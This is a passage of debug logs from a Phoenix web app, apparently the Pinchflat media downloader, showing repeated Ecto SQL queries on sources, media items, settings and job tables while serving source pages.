t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 17:53:42.707 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=50.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17070] 17:53:42.708 [debug] QUERY OK source="settings" db=0.1ms idle=50.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.708 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.708 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.710 [debug] QUERY OK source="sources" db=0.2ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:53:42.710 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:53:42.711 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 17:53:42.712 [debug] QUERY OK source="sources" db=0.2ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:53:42.712 [debug] QUERY OK source="media_items" db=0.1ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 17:53:42.713 [info] GET /sources/1/edit 17:53:42.713 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 17:53:42.713 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 17:53:42.713 [debug] QUERY OK source="sources" db=0.2ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:53:42.714 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 17:53:42.714 [debug] QUERY OK source="sources" db=0.6ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:53:42.714 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.715 [debug] QUERY OK source="settings" db=0.5ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.715 [debug] QUERY OK source="media_items" db=0.8ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 17:53:42.716 [debug] QUERY OK source="settings" db=0.3ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.716 [debug] QUERY OK source="media_items" db=0.8ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 17:53:42.717 [info] Sent 200 in 12ms 17:53:42.718 [info] Sent 200 in 5ms 17:53:42.743 [info] GET /sources/3/ 17:53:42.744 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 17:53:42.744 [debug] QUERY OK source="sources" db=0.2ms idle=29.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:42.745 [debug] QUERY OK source="media_profiles" db=0.1ms idle=29.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.746 [debug] QUERY OK source="tasks" db=1.0ms idle=29.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 17:53:42.746 [info] GET /sources/3/ 17:53:42.746 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 17:53:42.747 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=30.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17068] 17:53:42.747 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.747 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=30.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:42.748 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.748 [debug] QUERY OK source="media_profiles" db=0.7ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:42.749 [debug] QUERY OK source="settings" db=0.4ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.750 [debug] QUERY OK source="tasks" db=1.3ms idle=1.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 17:53:42.751 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=2.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17068] 17:53:42.751 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:42.751 [debug] QUERY OK source="settings" db=0.3ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.752 [debug] QUERY OK source="settings" db=0.4ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.752 [debug] QUERY OK source="media_items" db=0.8ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:53:42.752 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:42.753 [debug] QUERY OK source="media_items" db=0.8ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 17:53:42.754 [debug] QUERY OK source="sources" db=0.6ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:42.754 [debug] QUERY OK source="sources" db=0.6ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:42.754 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 17:53:42.755 [debug] QUERY OK source="media_items" db=0.6ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:53:42.756 [debug] QUERY OK source="media_items" db=1.1ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 17:53:42.757 [debug] QUERY OK source="media_items" db=1.4ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 17:53:42.757 [debug] QUERY OK source="sources" db=0.3ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:42.757 [debug] QUERY OK source="sources" db=0.3ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:53:42.758 [debug] QUERY OK source="media_items" db=0.2ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 17:53:42.758 [debug] QUERY OK source="media_items" db=0.4ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 